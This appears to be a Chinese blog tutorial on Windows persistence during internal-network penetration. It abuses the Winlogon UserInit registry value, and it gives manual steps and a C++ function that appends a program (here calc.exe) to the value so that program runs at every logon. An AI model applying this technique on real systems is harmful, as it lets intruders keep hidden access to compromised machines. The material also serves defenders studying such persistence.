[内网渗透][权限维持] userinit自启

原理

windows启动时,会弹出需要用户输入用户名/密码的界面。当用户输入用户名和密码后,负责登录的系统进程 WinLogon 会将用户名和 密码发给负责安全认证的另一个系统进程 LSASS。LSASS 调用验证模块对用户名和密码进行验证,如果通过,则创建一个访问令牌对象。WinLogon 会启动HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 的 UserInit 表键下指定的程序(默认为 userinit.exe)。UserInit 进程执行登录和初始化脚本,然后启动 Shell 表键中定义的 Shell程序,默认即是 Explorer.exe。但是,注册表的键值支持多个进程,这就给了我们机会。

实操

  1. 默认键值如下


  2. 手动修改键值(Win10用其他进程测试,Win10的计算器不一样):
    C:\Windows\system32\userinit.exe,C:\Windows\System32\calc.exe
  3. 重启后可以看到计算器被打开了


C++代码实现

void AutoRun(){
    HKEY hKey = NULL;
    TCHAR *lpszSubKey = _T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon");
    LONG lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpszSubKey, 0, KEY_ALL_ACCESS, &hKey);
    if (lRet == ERROR_SUCCESS) {
        CString strPath = _T("C:\\\Windows\\system32\\userinit.exe,C:\\\Windows\\System32\\calc.exe");
        RegSetValueEx(hKey, _T("UserInit"), 0, REG_SZ, (LPBYTE)strPath.GetBuffer(), strPath.GetLength() * sizeof(TCHAR));
        RegCloseKey(hKey);
        }
}

注册表相关函数

RegQueryValueEx 键值的获取
RegSetValueEx 键值设置
RegDeleteValueA 键值删除
RegEnumValue 键值枚举
RegOpenKeyEx 注册表子键句柄
RegQueryInfoKey 注册表键的数量,长度等信息获取

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容